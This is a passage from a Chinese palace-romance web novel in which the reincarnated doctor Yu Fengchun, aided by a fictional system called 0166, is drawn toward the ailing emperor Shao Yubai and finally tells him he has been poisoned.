余逢春道:“草民没有被授予官职,还不是太医。”
万嫔轻哼一声,也不敢在大明殿外太放肆:“起来吧。”
余逢春踉跄一步,站起身来,仍然恭敬地低着头。
万嫔又问:“皇上让你留宿偏殿?”
余逢春迟疑。
“这……”
这个问题不好回答。
他道:“娘娘,草民也不清楚。”
闻言,万嫔身边的小宫女当场就不乐意了,尖着嗓子质问:“你竟敢糊弄娘娘?!”
“草民不敢!”
余逢春没办法,只能又跪下请罪。
好在这一次,万嫔拦住了他。
“好了,动不动就跪下,还显得本宫跋扈。”
万嫔扶扶鬓边的海棠,动作慵懒。
“眼下皇帝有事要忙,听说你医术高超,不如你帮本宫诊脉,看看本宫最近身体如何。”
听见她这么说,余逢春开始怀疑是不是今天不宜出门。
光天化日下,他只是民间来的大夫,哪有资格给万嫔诊脉?
况且看万嫔的表现就知道,她压根没看上余逢春,只不过是借着梁妃,刁难一下他。
说到底,还是因为余逢春昨夜留宿大明殿偏殿,才惹出来的祸事。
一时间,余逢春骑虎难下。
“娘娘……”
听出他话语中的犹豫,万嫔细眉一挑,装出来的温柔当即演不下去了。
她厉声道:“怎么,一个民间来的大夫,这么大的脸面,连本宫都使唤不动?”
“——娘娘!”
从殿内踏出来的卫贤高声喊道。打断了万嫔的怒火。
几乎是一瞬间,万嫔脸上的恼怒烟消云散,红唇微抿,又是娇美动人。
卫贤也注意到了她的改变,神色不变,道:“皇上忙完了,您可以……”
话音未落,变化发生。
在余逢春的视线里,原先得意的万嫔眼中忽然多了许多惊吓,站姿也随着情绪的调整,变得柔弱许多。
卫贤更是立即噤声,恭敬地退到一侧。
意识到什么,余逢春回过头,不出所料地看到了本该在书房里的皇帝。
邵逾白今天穿了一袭宽袍长袖的黑衣,靠在殿门口注视着眼前这场闹剧,神色冷淡至极,看向万嫔的眼神像看一只吵闹的畜生。
“万嫔不在自己宫里,跑到这儿来撒什么野?”
他问。
“陛下……”
万嫔再没了之前刁难的飞扬跋扈,跪下去连连解释,纤细的身体哆嗦得像风中的芦苇。
她的解释没有一个人听进耳中,邵逾白只短暂地瞥了万嫔一眼,便将全部注意力落在余逢春身上。
他很满意余逢春的这身装扮,欣赏一会儿后,邵逾白的嘴角勾起一抹笑,眼神仿佛轻佻。
而在女人的低泣声里,余逢春站在原地,与邵逾白对上视线。
29. 糕点
万嫔的声音越来越低,瑟瑟发抖地跪在地上,那块地砖曾被余逢春的体温捂热,现又变得冰凉。
“臣妾让小厨房做了些糕点,想着皇上喜欢吃,所以……”
她说不下去了,一双美目饱含眼泪,看着楚楚可怜。
邵逾白终于调转视线,看向她。
“什么糕点?”他问。
万嫔好像绝处逢生,连忙抬起头,道:“是桃肉甜酥,兑了些牛乳进去。”
邵逾白招招手,跪在一旁的宫女连忙站起身,捧着盒子走到他面前,细瘦的手臂也在颤抖。
打开盒盖,一碟极为精致的粉白糕点出现在众人眼前,每个只有拇指大小,余逢春闻见细微的甜味。
万嫔虽然不及梁妃受宠,可娘家底子厚,远房兄长是当朝丞相,在宫里也相当有地位,她的小厨房排的进宫中前三。
众人心里都清楚,江秋只是一介民医,再喜欢,也没必要为着他,和万家扯破脸。
邵逾白就算气恼,也不会真拿她怎么样,象征性生生气,高高抬起,轻轻放下也就罢了。
如今看见糕点,该唤人起身了。
余逢春也是如此想。
偏偏邵逾白没有那么做。
盯着碟中点心,他先是没什么表情地夸了一句:“做的确实不错。”
万嫔闻言,顿时露出一抹笑容,泪水眨在脸庞,看着格外惹人怜爱。
可下一秒,邵逾白却态度一变。
“过来。”
他对站在远处看戏的余逢春说。
“……”
余逢春站着不动,不知道他想做什么。
而邵逾白见他装傻不动,面上浮现出一丝不耐烦。
他再次道:“江大夫,过来。”
这下,余逢春彻底没办法装傻了,只能绕过一众跪着的宫女太监,走到邵逾白身边。
等他过来,邵逾白抖抖袖口,施施然从碟子里取出一块稍小些的糕点,递到余逢春嘴边,示意他张嘴。
余逢春怔怔地看他,邵逾白不言,只是将糕点又往前递了递,抵在他的嘴唇上。
余逢春无处可躲,只能张开嘴,细软甜香的糕点被喂进嘴里。
糕点清甜细腻,余逢春默默地嚼,已经不知道该说什么了。
邵逾白问他:“好吃吗?”
视线如果能杀人,余逢春指定已经血溅当场。
一口气憋在胸膛,他点点头。
邵逾白笑了一声,当着万嫔的面,将那碟糕点从木盒里取出来,端端正正地放在余逢春手中,让他捧着吃。
这无疑是在当着众人的面,扇了万嫔狠狠一耳光,女人眼圈当即就红了,又不能表露出丝毫,只能咬牙低下头,发间首饰簌簌摇晃。
做完这一切,邵逾白才慢悠悠地侧过身。
“近日天冷,万嫔做了糕点,就不必亲自送来了,要是冻伤了,寡人会心疼的。”他说。
这就算是给台阶了。
万嫔应道:“是,臣妾明白。”
邵逾白“嗯”了一声,面上看不出喜怒,只觉得冷淡:“走吧。”
贴身宫女连忙托住万嫔的胳膊,将人扶起来。
她跪的时间比余逢春还长些,起身摇摇晃晃,走了好几步才慢慢恢复正常,背影非常狼狈。
余逢春捧着温热的糕点,看着万嫔离开。
与此同时,邵逾白也转身回了大明殿,好像他出来就是为了耍一通威风,然后喂余逢春吃糕点。
“和公公!”
余逢春拉住想离开的陈和,抬抬糕点,又朝殿内看了一眼。
“我……这……”
他罕见地不知道说什么。
好在不用说明白,陈和就知道他在想什么。
“既然皇上都赏您了,那您吃就好了。”
他仍然笑得像弥勒佛。
“不是奴才多嘴,万嫔娘娘的小厨房什么都好说,但糕点绝对算得上宫中一绝,平常咱们可没口福。”
余逢春顿时觉得自己捧的不是糕点,而是一炉烧红的煤炭。
邵逾白当着这么多人的面,把万嫔送来的糕点给自己吃,安的什么心?
余逢春将糕点向前递去:“那你要不要吃一点?”
陈和笑着摇摇头:“奴才没有福分吃。”
余逢春又看向卫贤:“那你——”
卫贤果断后退一步,脸色警惕,拒绝意味很明显。
“……”
余逢春收回手,表情相当无助。
仿佛是有些可怜这个刚入宫的孩子面临的狂风暴雨,陈和转头示意卫贤进殿伺候,自己则咳嗽一声,带着余逢春往后面走去。
余逢春会意跟在他身后,边走边又塞了块糕点进嘴里。
反正送不出去,扔了也是浪费,还不如再吃两口。
进到取暖的偏房,陈和关上门,示意余逢春坐下后,亲自给他斟了杯茶。
热气氤氲,茶香四溢。
陈和是邵逾白身边的头领太监,用的东西都不会差。
余逢春捧起茶杯,嗅闻片刻后喝了一口。
“如何?”
放下茶杯,余逢春羞涩一笑:“我是个粗人,喝不出茶叶好坏,只觉得清香扑鼻。”
“茶水,再名贵,说到底就是水,水就是用来解渴的。”
陈和坐下道:“江大夫没必要想那些,糕点吃多了难免腻,这杯茶是给你解腻用的。”
余逢春说:“和公公很豁达。”
陈和笑道:“奴才跟着皇上久了,皇上是个豁达的人,奴才也跟着学了点。况且……”
他脸上浮现出追忆之色:“许多年前,奴才有幸,曾和一位值得尊重的先生交谈过几次,受益匪浅。”
“……”
余逢春瞬间意识到他在说谁,干笑两声,假装自己什么都不知道。
“和公公待人亲切和善,这都是应该的。”
“哎呀,我年轻气盛过的。”陈和坐在他对面,揣着袖子,“只是余先生专治年轻气盛,把我掰过来了。”
余逢春:“……”
这跟我有什么关系?不要什么金往我脸上贴。
聊到这里,余逢春已经彻底不知道陈和把他拉到这里,是想聊什么了。
“和公公,”他斟酌着开口,“刚才……”
“这正是奴才想说的。”
陈和缓缓道:“当今丞相与圣上,是一门师兄弟,自然……同心同德。”
不知是不是屋内光影的问题,余逢春看到在谈“同心同德”一词的时候,陈和面上闪过一丝忧虑。
可无论有没有,须臾之后,那些情绪的痕迹均消散开。
“圣上重视万家,自然也对万嫔多有宽待。”陈和说,“今日,算是无妄之灾,圣上算是替您出气了,江大夫千万不要放在心上。”
“……”
余逢春万万没想到他会这么说。
勉强笑笑,余逢春道:“我怎么会放在心上,今日娘娘气恼,说到底其实是个误会,流言蜚语……我搬出偏殿就好了。”
他趁机提出解决方案,以为能顺利达成,却没成想陈和摇了摇头。
他说:“这世界上传的最快的,就是流言蜚语,江大夫以为只有宫中知道吗?现在宫外也传的有鼻子有眼了。”
余逢春愣住:“什么?”
“说是皇上看上一个民间大夫,如珍似宝,已经颁旨下令,让他住在偏殿,不日后还有敕封的旨意。更难听的也有。”
“……”
陈和:“江大夫。”
余逢春抬起头来,看见陈和的神情隐于光影之后,看不真切,让人心生畏惧。
他小声问:“和公公,和我说这些,您到底是什么意思?”
陈和站起身来,语气亲和道:“江大夫,现在外面传的风言风语,就算真没有什么,你也是众矢之的,众人眼中的活靶子,受些蹉跎是迟早的。”
“这……”余逢春眼中浮现出一丝无助,“那该怎么办?”
他问出了陈和一直在等的问题。
陈和笑了。
“依奴才看,您现在只能依靠皇上了。”
他徐徐善诱道:“皇上愿意为您出气,那说明心里是有您的,您不如趁这机会,谋些钱财权位,岂不双方都好?”
“……”
沉默。
脑海里,余逢春痛苦地闭上眼睛。
“他这是在拉皮条吧?”他和0166确认,“他就是在拉皮条吧?”
0166:[……是。]
八年前,余逢春还是余逢春的时候,陈和对他从来都是亲切恭敬,和他主子一样端正齐整,没成想私底下还有这副面孔。
他主子看上人家,他就冲上来威逼利诱,恨不得直接把人送进大明殿寝榻上。
0166安慰道:[往好处想,这样你就不用担心24小时的皮肤接触的事了。]
余逢春面无表情地:“所以为了救他,我还得把自己搭进去?”
0166:[我不是这个意思,只是目前看,这是最好的方法。]
余逢春当然也知道,不然他不会和陈和纠缠这么久。
只是他从来没想过跨过与邵逾白的师生情分,因此即使机会摆在面前
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,他也相当踌躇。
斟酌许久,他缓缓开口。
“可是公公,我相貌平平,恐怕讨不了皇上喜欢。”
“此言差矣,”陈和闻言意味深长地摇头,“皇上喜欢的。”
余逢春困惑地眨眨眼。
陈和咳嗽一声:“实话跟您说吧,江大夫,我之前也不大确定,但今天一看您这身装束,我就知道皇上一定会喜欢你。”
无他,因为穿上这身衣服以后,从后背看,江秋格外像那位故人。
故人已逝不可追,可岁月漫长,圣上等了那么久,想了那么久,骤然碰见这么像的,怎么忍得住?
但这些话就没必要对江秋说了。
陈和等着余逢春想明白。
而余逢春确实清楚,邵逾白的病最好一刻都别拖,能治就赶紧治。
陈和递来筏子,那他就该顺水推舟。
于是两人在不同逻辑不同考量的前提下,达成了一样的共识。
瞧着对面人脸上的表情变化,陈和久违地露出一个满意的笑。
“那就,麻烦和公公了。”余逢春说。
“自然,自然。”
*
*
*
深夜,邵逾白沐浴过后,披着件单衣回到寝殿。
坐在床前,角落的焚香气味过于厚重,邵逾白只觉得喉咙干痒,闷声咳嗽两声,手心一阵腥甜的湿润。
两边侍奉的宫人不知何时已尽数退下,枕边的帕子也不知去了哪里,邵逾白皱紧眉毛,正想去洗干净,一个人却忽然悄无声息地凑到他跟前。
“陛下,殿中的香太重了。”
声音太熟悉了,邵逾白掀起眼皮,看到递来帕子的正是余逢春。
一瞬间,他什么都懂了。
“陈和这老东西……”
哼笑一声,说不上责备还是赞赏。
邵逾白接过帕子,随意擦拭掌心,尔后攥在手里,不让旁边的人看清。
“你来做什么?”他问。
余逢春瞅见了他的动作,低声道:“和公公都给草民讲了,陛下待草民恩重如山……”
他没再继续说,邵逾白打断他。
“所以你是来报恩的?”
干净的那只手点在余逢春侧脸,邵逾白的声音轻而又轻,接近于耳语,在一片昏暗中透着难以严明的暧昧。
感受到眼角被轻柔地触碰抚摸,余逢春不受控制地眨眨眼睛,眼睫划过指腹,勾起更隐秘的痒意。
“陛下……”
余逢春语塞,被这么摸着,他的心都跟着哆嗦。
“嗯?”
邵逾白懒散地应了一声,蹭过他眼角的一抹晕红。
余逢春张嘴想说些什么,可话还没说出口,邵逾白忽然又开始咳嗽。
剧烈的咳嗽声刺耳至极,像是扎在心口的一刀。且这次比之前还严重,余逢春隔得远,都能闻到浓重的血腥味。
一瞬间,余逢春心里琢磨的打算全部烟消云散。
“你生病了。”他说。
邵逾白抬起眼,看到余逢春神情严肃,一只手已贴在了他的手腕上,不顾君臣伦理,直接将他攥在手里的帕子扯了出来。
一片鲜红血迹,如花朵般点在白色丝绸上。
即使早有预料,真正看到时还是不免心中一痛。
见他抢走手帕,邵逾白眸中闪过一丝意外,但没有生气,沙哑着声音道:“老毛病了。”
得多傻的人才会信他的谎话?
余逢春心疼又生气,手下用力,攥得指节发白,不自觉地就把帕子用力攥紧,几乎要直接扯烂。
邵逾白调转视线,恰好看到这一幕。
“你之前说要报答……”
他又提起刚才的话题。
此言一出,余逢春迅速从刚才的情绪中抽身而出。
他下定决心,大声说:“对,我要报答!”
闻言,邵逾白眉心微动,总觉得这个腔调不太对劲,但还是让他继续说。
余逢春不想继续装了,气沉丹田:
“您的这些症状不是生病,是中毒了——我可以为您解毒!”
话音落下,死寂的沉默将两人笼罩。
没有预料中的质疑,没有恼怒,更没有死里逃生的喜极而泣。
明明刚才咳个半死还兴致盎然的邵逾白,听余逢春这么说完,忽然就没了兴致,脸色也跟着灰败下去,无力地靠在床头,好像没什么值得他依恋的。
“治病啊……”
他若有所思地重复,随后无所谓地点头,生无可恋。
“那治吧,随便你。”